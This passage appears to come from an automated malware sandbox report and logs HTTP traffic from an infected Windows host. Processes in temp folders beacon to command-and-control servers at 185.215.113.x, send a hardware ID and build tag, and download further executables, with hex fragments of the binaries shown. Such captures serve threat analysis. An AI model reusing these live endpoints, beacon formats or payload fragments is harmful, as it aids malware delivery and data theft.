Nov 1, 2024 03:46:29.457232952 CET	1236	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U
Nov 1, 2024 03:46:29.461637020 CET	1236	IN	Data Raw: 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 00 00 80 ff 15 18 c0 49 00 85 c0 0f 84 fe fb 03 00 8d 4c 24 18 e8 0e 63 00 00 8d 4c 24 28 e8 05 63 00 00 5f 5e b8 90 23 4d 00 5b 8b e5 5d c2 08 00 55 8b ec 83 ec 14 56 57 8b f9 8d 4d ec e8 b7 Data Ascii: D$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;sF3FWQ~Y~_SYMVN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	58537	185.215.113.206	80	6696	C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:28.556046009 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:46:29.463068008 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:46:29.465368986 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build"tale------KEGIDHJKKJDGCBGCGIJK--
Nov 1, 2024 03:46:29.749275923 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	58542	185.215.113.16	80	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:32.154620886 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:46:33.076211929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:32 GMT Content-Type: application/octet-stream Content-Length: 2793984 Last-Modified: Fri, 01 Nov 2024 02:45:26 GMT Connection: keep-alive ETag: "672440c6-2aa200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 cf 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+v+`Ui` @ @.rsrc`2@.idata 8@dgcknkdt`B:@xsoukktr +\|@.taggant@ +"@
Nov 1, 2024 03:46:33.076255083 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076267958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076355934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076366901 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076456070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076467991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076531887 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076548100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:33.076601982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6IvT\`)M<<]t$&n[-.*}12En0_Y'-[lV`GsW TRD.6JAL!8BpyVZW_9Hh9^si"(##4Ux0S@ 8Lx(UWbN+cxR#S8Cb0X
Nov 1, 2024 03:46:33.081147909 CET	1236	IN	Data Raw: 9c 1b 57 7c cf 77 61 84 1c 90 03 8c 5b f6 fd 65 5a 4f 20 b4 07 40 ba 9e 0c 17 46 de 0d 39 68 8a 08 92 5d 0b 65 28 5f 82 2d 20 d0 43 12 53 bf 20 b0 11 5f 14 10 f3 5d 86 fd e8 46 33 b6 f8 92 1c 6e 5d 95 9e 00 f5 a1 37 4a 24 54 ee 35 62 0b 58 9a bf Data Ascii: W\|wa[eZO @F9h]e(_- CS _]F3n]7J$T5bXk!f@Na9f~]v*I^GV7DGBFTLE2tUWpGZ798 1w{2 #~\|T^\|`k`Zm3H_W I>t)5YOWl50!+!X!.
Nov 1, 2024 03:46:39.568641901 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:46:39.852988005 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:39 GMT Content-Type: application/octet-stream Content-Length: 1913856 Last-Modified: Fri, 01 Nov 2024 02:41:17 GMT Connection: keep-alive ETag: "67243fcd-1d3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@LT@WkD$KK @.rsrcD@.idata @ *@febftsfn 1@dcycmmutK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	58544	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:35.242300034 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003075001&unit=246122658369
Nov 1, 2024 03:46:36.153642893 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	58546	185.215.113.16	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:36.473321915 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 03:46:37.381130934 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:37 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 03:46:37.381145000 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Nov 1, 2024 03:46:37.381156921 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Nov 1, 2024 03:46:37.381215096 CET	212	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUB
Nov 1, 2024 03:46:37.381226063 CET	1236	IN	Data Raw: 54 89 41 54 8b 4d fc 8b 55 08 8b 42 58 89 41 58 8b 4d fc 8b 55 08 8b 42 5c 89 41 5c 8b 4d fc 8b 55 08 8b 42 60 89 41 60 8b 4d fc 8b 55 08 8b 42 64 89 41 64 8b 4d fc 8b 55 08 8b 42 68 89 41 68 8b 4d fc 8b 55 08 8b 42 6c 89 41 6c 8b 4d fc 8b 55 08 Data Ascii: TATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]UQMM$MMxMp]UQMEPMMQM
Nov 1, 2024 03:46:37.381270885 CET	1236	IN	Data Raw: fd ff ff e8 53 90 01 00 8d 8d a8 fd ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff Data Ascii: SH=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#B
Nov 1, 2024 03:46:37.381284952 CET	1236	IN	Data Raw: 83 f3 ff ff 81 c4 88 00 00 00 8d 4d 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c Data Ascii: M]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UU
Nov 1, 2024 03:46:37.381329060 CET	636	IN	Data Raw: 83 c4 0c a3 e8 6c 6d 00 6a 10 68 70 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d Data Ascii: lmjhpBhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBh
Nov 1, 2024 03:46:37.381428957 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a 16 68 40 21 42 00 68 58 21 42 00 e8 0c 1f 00 00 83 c4 0c a3 b4 6f 6d 00 c7 05 c4 6c 6d 00 00 00 00 00 6a 07 68 70 21 42 00 68 78 21 42 00 e8 e9 1e 00 00 83 c4 0c a3 Data Ascii: Ujh@!BhX!Bomlmjhp!Bhx!B\|nmjh!Bh!B@nmjhBhBomomlmjhBhBomjhBhBqomjhBhBXmmom
Nov 1, 2024 03:46:37.381443977 CET	1236	IN	Data Raw: 42 00 e8 5c 1a 00 00 83 c4 0c a3 20 6e 6d 00 6a 09 68 b0 26 42 00 68 bc 26 42 00 e8 43 1a 00 00 83 c4 0c a3 68 6d 6d 00 6a 13 68 c8 26 42 00 68 dc 26 42 00 e8 2a 1a 00 00 83 c4 0c a3 68 6f 6d 00 6a 0a 68 f0 26 42 00 68 fc 26 42 00 e8 11 1a 00 00 Data Ascii: B\ nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh
Nov 1, 2024 03:46:37.386158943 CET	1236	IN	Data Raw: bc 6e 6d 00 6a 10 68 68 2d 42 00 68 7c 2d 42 00 e8 7a 15 00 00 83 c4 0c a3 78 6e 6d 00 6a 0d 68 90 2d 42 00 68 a0 2d 42 00 e8 61 15 00 00 83 c4 0c a3 18 6c 6d 00 6a 0d 68 b0 2d 42 00 68 c0 2d 42 00 e8 48 15 00 00 83 c4 0c a3 7c 6f 6d 00 6a 0b 68 Data Ascii: nmjhh-Bh\|-Bzxnmjh-Bh-Balmjh-Bh-BH\|omjh-Bh-B/kmjh-Bh-B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	58555	185.215.113.206	80	728	C:\Users\user\AppData\Local\Temp\1003076001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:42.259413004 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:46:43.193095922 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:46:43.250638962 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 2d 2d 0d 0a Data Ascii: ------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="build"tale------KEGCBKKJDHJJJKECGIII--
Nov 1, 2024 03:46:43.539819956 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	58559	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:43.777076960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003076001&unit=246122658369
Nov 1, 2024 03:46:44.677670956 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	58561	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:46.466495037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 03:46:47.365400076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	58566	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:49.362837076 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 03:46:50.301839113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	58569	34.107.221.82	80	5072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:49.372486115 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
